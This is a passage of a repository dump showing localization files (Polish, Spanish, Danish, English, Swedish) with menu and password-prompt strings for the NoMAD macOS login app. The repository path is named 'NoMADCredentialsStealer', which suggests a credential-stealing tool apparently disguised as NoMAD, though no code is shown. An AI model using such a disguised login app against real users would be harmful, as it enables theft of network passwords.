18 |
19 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Certificate expiration date."; ObjectID = "A9U-v2-LiT"; */
20 | "A9U-v2-LiT.ibShadowedToolTip" = "Data wygaśnięcia certyfikatu.";
21 |
22 | /* Class = "NSMenuItem"; title = "CertificateDate"; ObjectID = "A9U-v2-LiT"; */
23 | "A9U-v2-LiT.title" = "Data certyfikatu";
24 |
25 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Get a certificate."; ObjectID = "AlW-9M-CK2"; */
26 | "AlW-9M-CK2.ibShadowedToolTip" = "Otrzymaj certyfikat.";
27 |
28 | /* Class = "NSMenuItem"; title = "Get Certificate"; ObjectID = "AlW-9M-CK2"; */
29 | "AlW-9M-CK2.title" = "Otrzymaj certyfikat";
30 |
31 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your network password expires."; ObjectID = "CUr-ED-n29"; */
32 | "CUr-ED-n29.ibShadowedToolTip" = "Czas pozostały do wygaśnięcia hasła sieciowego.";
33 |
34 | /* Class = "NSMenuItem"; title = "password expires"; ObjectID = "CUr-ED-n29"; */
35 | "CUr-ED-n29.title" = "Hasło wygaśnie";
36 |
37 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your Kerberos ticket expires."; ObjectID = "QYf-mL-9ta"; */
38 | "QYf-mL-9ta.ibShadowedToolTip" = "Czas pozostały do wygaśnięcia Ticketu Kerberosa.";
39 |
40 | /* Class = "NSMenuItem"; title = "ticket life"; ObjectID = "QYf-mL-9ta"; */
41 | "QYf-mL-9ta.title" = "Życie ticketu";
42 |
43 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "Wa6-S1-lXm"; */
44 | "Wa6-S1-lXm.ibShadowedToolTip" = "Zaloguj się przy użyciu konta sieciowego.";
45 |
46 | /* Class = "NSMenuItem"; title = "Sign In"; ObjectID = "Wa6-S1-lXm"; */
47 | "Wa6-S1-lXm.title" = "Zaloguj się";
48 |
49 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "XL2-b8-IwM"; */
50 | "XL2-b8-IwM.ibShadowedToolTip" = "Zaloguj się przy użyciu konta sieciowego.";
51 |
52 | /* Class = "NSMenuItem"; title = "Log In 2"; ObjectID = "XL2-b8-IwM"; */
53 | "XL2-b8-IwM.title" = "Zaloguj się 2";
54 |
55 | /* Class = "NSMenuItem"; title = "Get Software"; ObjectID = "fuo-5h-NuR"; */
56 | "fuo-5h-NuR.title" = "Otrzymaj oprogramowanie";
57 |
58 | /* Class = "NSMenuItem"; title = "Quit"; ObjectID = "gM7-FQ-f0l"; */
59 | "gM7-FQ-f0l.title" = "Zakończ";
60 |
61 | /* Class = "NSMenuItem"; title = "Hidden Item 1"; ObjectID = "kql-Bl-QJE"; */
62 | "kql-Bl-QJE.title" = "Ukryty element 1";
63 |
64 | /* Class = "NSMenuItem"; title = "Dump Logs"; ObjectID = "pC8-5a-Aec"; */
65 | "pC8-5a-Aec.title" = "Pobierz logi";
66 |
67 | /* Class = "NSMenuItem"; title = "Get Help"; ObjectID = "rbx-v6-fJx"; */
68 | "rbx-v6-fJx.title" = "Otrzymaj pomoc";
69 |
70 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Your network user name."; ObjectID = "uQI-ol-UUw"; */
71 | "uQI-ol-UUw.ibShadowedToolTip" = "Twoja sieciowa nazwa użytkownika.";
72 |
73 | /* Class = "NSMenuItem"; title = "user"; ObjectID = "uQI-ol-UUw"; */
74 | "uQI-ol-UUw.title" = "Użytkownik";
75 |
76 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign out of your network account."; ObjectID = "w1A-iF-wAU"; */
77 | "w1A-iF-wAU.ibShadowedToolTip" = "Wyloguj się ze swojego konta sieciowego.";
78 |
79 | /* Class = "NSMenuItem"; title = "Sign Out"; ObjectID = "w1A-iF-wAU"; */
80 | "w1A-iF-wAU.title" = "Wyloguj się";
81 |
82 | /* Class = "NSMenuItem"; title = "Software and Help"; ObjectID = "wcV-DA-kNE"; */
83 | "wcV-DA-kNE.title" = "Oprogramowanie i pomoc";
84 |
85 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/es.lproj/MainMenu.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Change your network password."; ObjectID = "0IM-ZO-KLA"; */
2 | "0IM-ZO-KLA.ibShadowedToolTip" = "Cambia tu contraseña de usuario de red.";
3 |
4 | /* Class = "NSMenuItem"; title = "Change Password"; ObjectID = "0IM-ZO-KLA"; */
5 | "0IM-ZO-KLA.title" = "Cambia la contraseña";
6 |
7 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Lock your screen."; ObjectID = "3Pf-2O-qR7"; */
8 | "3Pf-2O-qR7.ibShadowedToolTip" = "Bloquea tu pantalla";
9 |
10 | /* Class = "NSMenuItem"; title = "Lock Screen"; ObjectID = "3Pf-2O-qR7"; */
11 | "3Pf-2O-qR7.title" = "Bloquea la pantalla";
12 |
13 | /* Class = "NSMenuItem"; title = "Preferences"; ObjectID = "3yQ-ft-CVW"; */
14 | "3yQ-ft-CVW.title" = "Preferencias";
15 |
16 | /* Class = "NSMenuItem"; title = "Ticket Info"; ObjectID = "7uv-39-xiX"; */
17 | "7uv-39-xiX.title" = "Información del ticket";
18 |
19 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Certificate expiration date."; ObjectID = "A9U-v2-LiT"; */
20 | "A9U-v2-LiT.ibShadowedToolTip" = "Fecha de caducidad del certificado";
21 |
22 | /* Class = "NSMenuItem"; title = "CertificateDate"; ObjectID = "A9U-v2-LiT"; */
23 | "A9U-v2-LiT.title" = "Fecha de caducidad";
24 |
25 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Get a certificate."; ObjectID = "AlW-9M-CK2"; */
26 | "AlW-9M-CK2.ibShadowedToolTip" = "Obtén un certificado.";
27 |
28 | /* Class = "NSMenuItem"; title = "Get Certificate"; ObjectID = "AlW-9M-CK2"; */
29 | "AlW-9M-CK2.title" = "Obtén un certificado";
30 |
31 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your network password expires."; ObjectID = "CUr-ED-n29"; */
32 | "CUr-ED-n29.ibShadowedToolTip" = "Tiempo hasta que tu contraseña de usuario de red caduque.";
33 |
34 | /* Class = "NSMenuItem"; title = "password expires"; ObjectID = "CUr-ED-n29"; */
35 | "CUr-ED-n29.title" = "la contraseña caduca";
36 |
37 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your Kerberos ticket expires."; ObjectID = "QYf-mL-9ta"; */
38 | "QYf-mL-9ta.ibShadowedToolTip" = "Tiempo hasta que tu ticket Kerberos caduque.";
39 |
40 | /* Class = "NSMenuItem"; title = "ticket life"; ObjectID = "QYf-mL-9ta"; */
41 | "QYf-mL-9ta.title" = "vida del ticket";
42 |
43 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "Wa6-S1-lXm"; */
44 | "Wa6-S1-lXm.ibShadowedToolTip" = "Inicia sesión con tu cuenta de usuario de red.";
45 |
46 | /* Class = "NSMenuItem"; title = "Sign In"; ObjectID = "Wa6-S1-lXm"; */
47 | "Wa6-S1-lXm.title" = "Registrarse";
48 |
49 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "XL2-b8-IwM"; */
50 | "XL2-b8-IwM.ibShadowedToolTip" = "Inicia sesión con tu cuenta de usuario de red.";
51 |
52 | /* Class = "NSMenuItem"; title = "Log In 2"; ObjectID = "XL2-b8-IwM"; */
53 | "XL2-b8-IwM.title" = "Inicia sesión 2";
54 |
55 | /* Class = "NSMenuItem"; title = "Get Software"; ObjectID = "fuo-5h-NuR"; */
56 | "fuo-5h-NuR.title" = "Obtener aplicación";
57 |
58 | /* Class = "NSMenuItem"; title = "Quit"; ObjectID = "gM7-FQ-f0l"; */
59 | "gM7-FQ-f0l.title" = "Cerrar";
60 |
61 | /* Class = "NSMenuItem"; title = "Hidden Item 1"; ObjectID = "kql-Bl-QJE"; */
62 | "kql-Bl-QJE.title" = "Ítem oculto 1";
63 |
64 | /* Class = "NSMenuItem"; title = "Dump Logs"; ObjectID = "pC8-5a-Aec"; */
65 | "pC8-5a-Aec.title" = "Volcado de logs";
66 |
67 | /* Class = "NSMenuItem"; title = "Get Help"; ObjectID = "rbx-v6-fJx"; */
68 | "rbx-v6-fJx.title" = "Obten ayuda";
69 |
70 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Your network user name."; ObjectID = "uQI-ol-UUw"; */
71 | "uQI-ol-UUw.ibShadowedToolTip" = "Tu nombre de usuario de red.";
72 |
73 | /* Class = "NSMenuItem"; title = "user"; ObjectID = "uQI-ol-UUw"; */
74 | "uQI-ol-UUw.title" = "usuario";
75 |
76 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign out of your network account."; ObjectID = "w1A-iF-wAU"; */
77 | "w1A-iF-wAU.ibShadowedToolTip" = "Cierra sesión de tu cuenta de usuario de red.";
78 |
79 | /* Class = "NSMenuItem"; title = "Sign Out"; ObjectID = "w1A-iF-wAU"; */
80 | "w1A-iF-wAU.title" = "Cerrar sesión";
81 |
82 | /* Class = "NSMenuItem"; title = "Software and Help"; ObjectID = "wcV-DA-kNE"; */
83 | "wcV-DA-kNE.title" = "Aplicación y ayuda";
84 |
85 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/da.lproj/Languages.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Lock Screen
6 |
7 | value
8 | Lås skærm
9 | comment
10 | Menu Item to Lock the Screen
11 |
12 | SignIn
13 |
14 | value
15 | Log ind
16 | comment
17 | Menu item to Sign In
18 |
19 | NoMADMenuController-Connected
20 |
21 | value
22 |
23 | comment
24 | Text in the menu bar to show that NoMAD can find the Domain
25 |
26 | NoMADMenuController-NotConnected
27 |
28 | value
29 | Ikke logget ind
30 | comment
31 | Text in the menu bar to show that NoMAD can not find the Domain
32 |
33 | NoMADMenuController-ChangePassword
34 |
35 | value
36 | Skift adgangskode
37 | comment
38 | Menu Item to Change Password
39 |
40 | UserName
41 |
42 | value
43 | Brugernavn
44 | comment
45 | User's full name
46 |
47 | NoMADMenuController-GetSoftware
48 |
49 | comment
50 | Menu item to open software portal.
51 | value
52 | Hent software
53 |
54 | NoMADMenuController-GetHelp
55 |
56 | value
57 | Få hjælp
58 | comment
59 | Menu item to open up the support options.
60 |
61 | NoMADMenuController-Preferences
62 |
63 | value
64 | Præferencer
65 | comment
66 | Menu item to open Preferences window.
67 |
68 | NoMADMenuController-Quit
69 |
70 | value
71 | Afslut
72 | comment
73 | Menu item to quit NoMAD.
74 |
75 | NoMADMenuController-RenewTickets
76 |
77 | comment
78 | Menu item to renew Kerberos tickets
79 | value
80 | Forny billet
81 |
82 | NoMADMenuController-PasswordExpiresInDays
83 |
84 | comment
85 | Long text for how many days until your password expires
86 | value
87 | Adgangskode udøber om %@ dag(e)
88 |
89 | PasswordDoesNotExpire
90 |
91 | value
92 | Din adgangskode udløber aldrig
93 | comment
94 | menu item for when the password has no expiration date
95 |
96 | PasswordChangeSuccessful
97 |
98 | value
99 | Din adgangskode er blevet ændret. Bemærk at der kan gå op til en time før det er fuldstændig opdateret (alle steder).
100 | comment
101 | message to let user know password changed successfully
102 |
103 | InvalidPassword
104 |
105 | value
106 | Ugyldig adgangskode. Prøv venligst igen
107 | comment
108 | error when password is wrong
109 |
110 | InvalidUsername
111 |
112 | value
113 | Ugyldigt brugernavn. Prøv venligst igen
114 | comment
115 | error when username is wrong
116 |
117 | PasswordExpire
118 |
119 | value
120 | Din adgangskode er udløbet.
121 | comment
122 | error when password has expired
123 |
124 | PasswordAboutToExpire
125 |
126 | value
127 | Din adgangskode er tæt på at udløbe - skift den!
128 | comment
129 | message when password is about to expire
130 |
131 | PasswordExpiresOn
132 |
133 | value
134 | Din netværks adgangskode udløber
135 | comment
136 | Your network password is about to expire on <date>
137 |
138 | PasswordMismatch
139 |
140 | value
141 | De nye adgangskoder er ikke ens
142 | comment
143 | error when new passwords don't match
144 |
145 | NetworkLocalMismatch
146 |
147 | value
148 | Din adgangskode til din Mac og netværks adgangskoden matcher ikke. Indtast adgangskode til netværket for at opdatere.
149 | comment
150 | error when network and local passwords do not match
151 |
152 | ValidCertificate
153 |
154 | value
155 | Har gyldigt certifkat
156 | comment
157 | user already has a valid certificate
158 |
159 | Cancel
160 |
161 | value
162 | Annuller
163 | comment
164 | button for cancelling actions
165 |
166 | RequestAnyway
167 |
168 | value
169 | Anmod alligevel
170 | comment
171 | button to request anyway
172 |
173 | CertConnectionError
174 |
175 | value
176 | Tilslutning fejlede! Sørg for at SSL certifikat er gyldigt og adresse til X509 CA er korrekt.
177 | comment
178 | message when Certificate Authority can't be reached
179 |
180 | CAConfigError
181 |
182 | value
183 | Sørg for at parametrene for CA er korrekte
184 | comment
185 | error when CA can't be found
186 |
187 | d
188 |
189 | value
190 | d
191 | comment
192 | short form of days
193 |
194 | HomeSharepoint
195 |
196 | value
197 | Hjemmemappe
198 | comment
199 | Menu item for opening up a user's home sharepoint from their AD profile
200 |
201 | LoginWindow-OldPasswordLabel
202 |
203 | value
204 | Old Password
205 | comment
206 | Label for old password
207 |
208 | LoginWindow-PasswordLabel
209 |
210 | value
211 | Password
212 | comment
213 | Label for password
214 |
215 | NoMADMenuController-SmartcardSignIn
216 |
217 | value
218 | Smartcard Sign In
219 | comment
220 | PKINIT smartcard menu sign in
221 |
222 | NoMADMenuController-SignInWithSmartcard
223 |
224 | value
225 | Sign in with a Smartcard.
226 | comment
227 | PKINIT smartcard menu sign in tool tip
228 |
229 | NoMADMenuController-NotLoggedIn
230 |
231 | value
232 | Not logged in.
233 | comment
234 | User info for ticket life when not signed in
235 |
236 | NoMADMenuController-NotSignedIn
237 |
238 | value
239 | Not Signed In
240 | comment
241 | User info when not signed in
242 |
243 | NoMADMenuController-NoUser
244 |
245 | value
246 | No User
247 | comment
248 | User info when no user is available
249 |
250 | UserInformation-PasswordChanged
251 |
252 | value
253 | Password Changed
254 | comment
255 | Notification title when password changed
256 |
257 | UserInformation-PwdChangedSignInAgain
258 |
259 | value
260 | Your password was changed, please re-sign into NoMAD to update your password.
261 | comment
262 | Notification text asking to sign in again
263 |
264 | UserInformation-Ignore
265 |
266 | value
267 | Ignore
268 | comment
269 | Password change notification ignore button
270 |
271 |
272 |
273 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/en.lproj/Languages.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Lock Screen
6 |
7 | value
8 | Lock Screen
9 | comment
10 | Menu Item to Lock the Screen
11 |
12 | SignIn
13 |
14 | value
15 | Sign In
16 | comment
17 | Menu item to Sign In
18 |
19 | NoMADMenuController-Connected
20 |
21 | value
22 |
23 | comment
24 | Text in the menu bar to show that NoMAD can find the Domain
25 |
26 | NoMADMenuController-NotConnected
27 |
28 | value
29 | Not Connected
30 | comment
31 | Text in the menu bar to show that NoMAD can not find the Domain
32 |
33 | NoMADMenuController-ChangePassword
34 |
35 | value
36 | Change Password
37 | comment
38 | Menu Item to Change Password
39 |
40 | UserName
41 |
42 | value
43 | User Name
44 | comment
45 | User's full name
46 |
47 | NoMADMenuController-GetSoftware
48 |
49 | comment
50 | Menu item to open software portal.
51 | value
52 | Get Software
53 |
54 | NoMADMenuController-GetHelp
55 |
56 | value
57 | Get Help
58 | comment
59 | Menu item to open up the support options.
60 |
61 | NoMADMenuController-Preferences
62 |
63 | value
64 | Preferences
65 | comment
66 | Menu item to open Preferences window.
67 |
68 | NoMADMenuController-Quit
69 |
70 | value
71 | Quit
72 | comment
73 | Menu item to quit NoMAD.
74 |
75 | NoMADMenuController-RenewTickets
76 |
77 | comment
78 | Menu item to renew Kerberos tickets
79 | value
80 | Renew Tickets
81 |
82 | NoMADMenuController-PasswordExpiresInDays
83 |
84 | comment
85 | Long text for how many days until your password expires
86 | value
87 | Password expires in: %@ days
88 |
89 | PasswordDoesNotExpire
90 |
91 | value
92 | Password does not expire
93 | comment
94 | menu item for when the password has no expiration date
95 |
96 | PasswordChangeSuccessful
97 |
98 | value
99 | Password changed successfully. Note: it may take up to an hour for your password expiration time to be updated.
100 | comment
101 | message to let user know password changed successfully
102 |
103 | InvalidPassword
104 |
105 | value
106 | Invalid password. Please try again.
107 | comment
108 | error when password is wrong
109 |
110 | InvalidUsername
111 |
112 | value
113 | Invalid username. Please try again.
114 | comment
115 | error when username is wrong
116 |
117 | PasswordExpire
118 |
119 | value
120 | Your password has expired. Please reset your password now.
121 | comment
122 | error when password has expired
123 |
124 | PasswordAboutToExpire
125 |
126 | value
127 | Password about to expire!
128 | comment
129 | message when password is about to expire
130 |
131 | PasswordExpiresOn
132 |
133 | value
134 | Your network password is about to expire on
135 | comment
136 | Your network password is about to expire on <date>
137 |
138 | PasswordMismatch
139 |
140 | value
141 | New passwords don't match.
142 | comment
143 | error when new passwords don't match
144 |
145 | NetworkLocalMismatch
146 |
147 | value
148 | Your network and local passwords are not the same. Please enter the password for your Mac.
149 | comment
150 | error when network and local passwords do not match
151 |
152 | ValidCertificate
153 |
154 | value
155 | You already have a valid certificate.
156 | comment
157 | user already has a valid certificate
158 |
159 | Cancel
160 |
161 | value
162 | Cancel
163 | comment
164 | button for cancelling actions
165 |
166 | RequestAnyway
167 |
168 | value
169 | Request Anyway
170 | comment
171 | button to request anyway
172 |
173 | CertConnectionError
174 |
175 | value
176 | Connection error. Please ensure SSL certificates are trusted and the URL is correct for your X509 CA.
177 | comment
178 | message when Certificate Authority can't be reached
179 |
180 | CAConfigError
181 |
182 | value
183 | Please ensure your Certificate Authority settings are correct.
184 | comment
185 | error when CA can't be found
186 |
187 | d
188 |
189 | value
190 | d
191 | comment
192 | short form of days
193 |
194 | HomeSharepoint
195 |
196 | value
197 | Home Sharepoint
198 | comment
199 | Menu item for opening up a user's home sharepoint from their AD profile
200 |
201 | LoginWindow-OldPasswordLabel
202 |
203 | value
204 | Old Password
205 | comment
206 | Label for old password
207 |
208 | LoginWindow-PasswordLabel
209 |
210 | value
211 | Password
212 | comment
213 | Label for password
214 |
215 | NoMADMenuController-SmartcardSignIn
216 |
217 | value
218 | Smartcard Sign In
219 | comment
220 | PKINIT smartcard menu sign in
221 |
222 | NoMADMenuController-SignInWithSmartcard
223 |
224 | value
225 | Sign in with a Smartcard.
226 | comment
227 | PKINIT smartcard menu sign in tool tip
228 |
229 | NoMADMenuController-NotLoggedIn
230 |
231 | value
232 | Not logged in.
233 | comment
234 | User info for ticket life when not signed in
235 |
236 | NoMADMenuController-NotSignedIn
237 |
238 | value
239 | Not Signed In
240 | comment
241 | User info when not signed in
242 |
243 | NoMADMenuController-NoUser
244 |
245 | value
246 | No User
247 | comment
248 | User info when no user is available
249 |
250 | UserInformation-PasswordChanged
251 |
252 | value
253 | Password Changed
254 | comment
255 | Notification title when password changed
256 |
257 | UserInformation-PwdChangedSignInAgain
258 |
259 | value
260 | Your password was changed, please re-sign into NoMAD to update your password.
261 | comment
262 | Notification text asking to sign in again
263 |
264 | UserInformation-Ignore
265 |
266 | value
267 | Ignore
268 | comment
269 | Password change notification ignore button
270 |
271 |
272 |
273 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/Languages.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Lock Screen
6 |
7 | value
8 | Lock Screen
9 | comment
10 | Menu Item to Lock the Screen
11 |
12 | SignIn
13 |
14 | value
15 | Sign In
16 | comment
17 | Menu item to Sign In
18 |
19 | NoMADMenuController-Connected
20 |
21 | value
22 |
23 | comment
24 | Text in the menu bar to show that NoMAD can find the Domain
25 |
26 | NoMADMenuController-NotConnected
27 |
28 | value
29 | Not Connected
30 | comment
31 | Text in the menu bar to show that NoMAD can not find the Domain
32 |
33 | NoMADMenuController-ChangePassword
34 |
35 | value
36 | Change Password
37 | comment
38 | Menu Item to Change Password
39 |
40 | UserName
41 |
42 | value
43 | User Name
44 | comment
45 | User's full name
46 |
47 | NoMADMenuController-GetSoftware
48 |
49 | comment
50 | Menu item to open software portal.
51 | value
52 | Get Software
53 |
54 | NoMADMenuController-GetHelp
55 |
56 | value
57 | Get Help
58 | comment
59 | Menu item to open up the support options.
60 |
61 | NoMADMenuController-Preferences
62 |
63 | value
64 | Preferences
65 | comment
66 | Menu item to open Preferences window.
67 |
68 | NoMADMenuController-Quit
69 |
70 | value
71 | Quit
72 | comment
73 | Menu item to quit NoMAD.
74 |
75 | NoMADMenuController-RenewTickets
76 |
77 | comment
78 | Menu item to renew Kerberos tickets
79 | value
80 | Renew Tickets
81 |
82 | NoMADMenuController-PasswordExpiresInDays
83 |
84 | comment
85 | Long text for how many days until your password expires
86 | value
87 | Password expires in: %@ days
88 |
89 | PasswordDoesNotExpire
90 |
91 | value
92 | Password does not expire
93 | comment
94 | menu item for when the password has no expiration date
95 |
96 | PasswordChangeSuccessful
97 |
98 | value
99 | Password changed successfully. Note: it may take up to an hour for your password expiration time to be updated.
100 | comment
101 | message to let user know password changed successfully
102 |
103 | InvalidPassword
104 |
105 | value
106 | Invalid password. Please try again.
107 | comment
108 | error when password is wrong
109 |
110 | InvalidUsername
111 |
112 | value
113 | Invalid username. Please try again.
114 | comment
115 | error when username is wrong
116 |
117 | PasswordExpire
118 |
119 | value
120 | Your password has expired. Please reset your password now.
121 | comment
122 | error when password has expired
123 |
124 | PasswordAboutToExpire
125 |
126 | value
127 | Password about to expire!
128 | comment
129 | message when password is about to expire
130 |
131 | PasswordExpiresOn
132 |
133 | value
134 | Your network password is about to expire on
135 | comment
136 | Your network password is about to expire on <date>
137 |
138 | PasswordMismatch
139 |
140 | value
141 | New passwords don't match.
142 | comment
143 | error when new passwords don't match
144 |
145 | NetworkLocalMismatch
146 |
147 | value
148 | Your network and local passwords are not the same. Please enter the password for your Mac.
149 | comment
150 | error when network and local passwords do not match
151 |
152 | ValidCertificate
153 |
154 | value
155 | You already have a valid certificate.
156 | comment
157 | user already has a valid certificate
158 |
159 | Cancel
160 |
161 | value
162 | Cancel
163 | comment
164 | button for cancelling actions
165 |
166 | RequestAnyway
167 |
168 | value
169 | Request Anyway
170 | comment
171 | button to request anyway
172 |
173 | CertConnectionError
174 |
175 | value
176 | Connection error. Please ensure SSL certificates are trusted and the URL is correct for your X509 CA.
177 | comment
178 | message when Certificate Authority can't be reached
179 |
180 | CAConfigError
181 |
182 | value
183 | Please ensure your Certificate Authority settings are correct.
184 | comment
185 | error when CA can't be found
186 |
187 | d
188 |
189 | value
190 | d
191 | comment
192 | short form of days
193 |
194 | HomeSharepoint
195 |
196 | value
197 | Home Sharepoint
198 | comment
199 | Menu item for opening up a user's home sharepoint from their AD profile
200 |
201 | LoginWindow-OldPasswordLabel
202 |
203 | value
204 | Old Password
205 | comment
206 | Label for old password
207 |
208 | LoginWindow-PasswordLabel
209 |
210 | value
211 | Password
212 | comment
213 | Label for password
214 |
215 | NoMADMenuController-SmartcardSignIn
216 |
217 | value
218 | Smartcard Sign In
219 | comment
220 | PKINIT smartcard menu sign in
221 |
222 | NoMADMenuController-SignInWithSmartcard
223 |
224 | value
225 | Sign in with a Smartcard.
226 | comment
227 | PKINIT smartcard menu sign in tool tip
228 |
229 | NoMADMenuController-NotLoggedIn
230 |
231 | value
232 | Not logged in.
233 | comment
234 | User info for ticket life when not signed in
235 |
236 | NoMADMenuController-NotSignedIn
237 |
238 | value
239 | Not Signed In
240 | comment
241 | User info when not signed in
242 |
243 | NoMADMenuController-NoUser
244 |
245 | value
246 | No User
247 | comment
248 | User info when no user is available
249 |
250 | UserInformation-PasswordChanged
251 |
252 | value
253 | Password Changed
254 | comment
255 | Notification title when password changed
256 |
257 | UserInformation-PwdChangedSignInAgain
258 |
259 | value
260 | Your password was changed, please re-sign into NoMAD to update your password.
261 | comment
262 | Notification text asking to sign in again
263 |
264 | UserInformation-Ignore
265 |
266 | value
267 | Ignore
268 | comment
269 | Password change notification ignore button
270 |
271 |
272 |
273 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/sv.lproj/Languages.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Lock Screen
6 |
7 | value
8 | Lås skärmen
9 | comment
10 | Menu Item to Lock the Screen
11 |
12 | SignIn
13 |
14 | value
15 | Logga in
16 | comment
17 | Menu item to Sign In
18 |
19 | NoMADMenuController-Connected
20 |
21 | value
22 |
23 | comment
24 | Text in the menu bar to show that NoMAD can find the Domain
25 |
26 | NoMADMenuController-NotConnected
27 |
28 | value
29 | Ej ansluten
30 | comment
31 | Text in the menu bar to show that NoMAD can not find the Domain
32 |
33 | NoMADMenuController-ChangePassword
34 |
35 | value
36 | Byt lösenord
37 | comment
38 | Menu Item to Change Password
39 |
40 | UserName
41 |
42 | value
43 | Namn
44 | comment
45 | User's full name.
46 |
47 | NoMADMenuController-GetSoftware
48 |
49 | comment
50 | Menu item to open software portal.
51 | value
52 | Hämta programvara
53 |
54 | NoMADMenuController-GetHelp
55 |
56 | value
57 | Kontakta support
58 | comment
59 | Menu item to open up the support options.
60 |
61 | NoMADMenuController-Preferences
62 |
63 | value
64 | Inställningar
65 | comment
66 | Menu item to open Preferences window.
67 |
68 | NoMADMenuController-Quit
69 |
70 | value
71 | Avsluta
72 | comment
73 | Menu item to quit NoMAD.
74 |
75 | NoMADMenuController-RenewTickets
76 |
77 | comment
78 | Menu item to renew Kerberos tickets
79 | value
80 | Förnya biljetter
81 |
82 | NoMADMenuController-PasswordExpiresInDays
83 |
84 | comment
85 | Long text for how many days until your password expires
86 | value
87 | Lösenordet går ut om %@ dagar
88 |
89 | PasswordDoesNotExpire
90 |
91 | value
92 | Lösenordet går inte ut
93 | comment
94 | menu item for when the password has no expiration date
95 |
96 | PasswordChangeSuccessful
97 |
98 | value
99 | Lösenordet har ändrats. Notera att det kan ta upp till en timme innan informationen om när lösenordet går ut uppdateras.
100 | comment
101 | message to let user know password changed successfully
102 |
103 | InvalidPassword
104 |
105 | value
106 | Felaktigt lösenord, var god försök igen.
107 | comment
108 | error when password is wrong
109 |
110 | InvalidUsername
111 |
112 | value
113 | Felaktigt användarnamn, var god försök igen.
114 | comment
115 | error when username is wrong
116 |
117 | PasswordExpire
118 |
119 | value
120 | Ditt lösenord har gått ut. Byt ut ditt lösenord nu.
121 | comment
122 | error when password has expired
123 |
124 | PasswordAboutToExpire
125 |
126 | value
127 | Ditt lösenord håller på att gå ut!
128 | comment
129 | message when password is about to expire
130 |
131 | PasswordExpiresOn
132 |
133 | value
134 | Ditt nätverkslösenord kommer att gå ut
135 | comment
136 | Your network password is about to expire on <date>
137 |
138 | PasswordMismatch
139 |
140 | value
141 | Lösenorden matchar inte.
142 | comment
143 | error when new passwords don't match
144 |
145 | NetworkLocalMismatch
146 |
147 | value
148 | Nätverkslösenord och lokalt lösenord överensstämmer inte. Ange lösenordet för din Mac.
149 | comment
150 | error when network and local passwords do not match
151 |
152 | ValidCertificate
153 |
154 | value
155 | Du har redan ett giltigt certifikat.
156 | comment
157 | user already has a valid certificate
158 |
159 | Cancel
160 |
161 | value
162 | Avbryt
163 | comment
164 | button for cancelling actions
165 |
166 | RequestAnyway
167 |
168 | value
169 | Begär ändå
170 | comment
171 | button to request anyway
172 |
173 | CertConnectionError
174 |
175 | value
176 | Anslutningsfel. Säkerställ att SSL-certifikaten är betrodda och att det är rätt adress till er x509 CA.
177 | comment
178 | message when Certificate Authority can't be reached
179 |
180 | CAConfigError
181 |
182 | value
183 | Säkerställ att inställningen för er x509 CA är korrekt.
184 | comment
185 | error when CA can't be found
186 |
187 | d
188 |
189 | value
190 | d
191 | comment
192 | short form of days
193 |
194 | HomeSharepoint
195 |
196 | value
197 | Nätverkshemmapp
198 | comment
199 | Menu item for opening up a user's home sharepoint from their AD profile
200 |
201 | LoginWindow-OldPasswordLabel
202 |
203 | value
204 | Gammalt lösenord
205 | comment
206 | Label for old password
207 |
208 | LoginWindow-PasswordLabel
209 |
210 | value
211 | Lösenord
212 | comment
213 | Label for password
214 |
215 | NoMADMenuController-SmartcardSignIn
216 |
217 | value
218 | Logga in med smartcard
219 | comment
220 | PKINIT smartcard menu sign in
221 |
222 | NoMADMenuController-SignInWithSmartcard
223 |
224 | value
225 | Logga in med ett smartcard.
226 | comment
227 | PKINIT smartcard menu sign in tool tip
228 |
229 | NoMADMenuController-NotLoggedIn
230 |
231 | value
232 | Inte inloggad.
233 | comment
234 | User info for ticket life when not signed in
235 |
236 | NoMADMenuController-NotSignedIn
237 |
238 | value
239 | Inte inloggad
240 | comment
241 | User info when not signed in
242 |
243 | NoMADMenuController-NoUser
244 |
245 | value
246 | Ingen användare
247 | comment
248 | User info when no user is available
249 |
250 | UserInformation-PasswordChanged
251 |
252 | value
253 | Lösenord ändrat
254 | comment
255 | Notification title when password changed
256 |
257 | UserInformation-PwdChangedSignInAgain
258 |
259 | value
260 | Ditt lösenord har ändrats, logga in i NoMAD igen för att uppdatera ditt lösenord.
261 | comment
262 | Notification text asking to sign in again
263 |
264 | UserInformation-Ignore
265 |
266 | value
267 | Ignorera
268 | comment
269 | Password change notification ignore button
270 |
271 |
272 |
273 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/fr.lproj/Languages.plist:
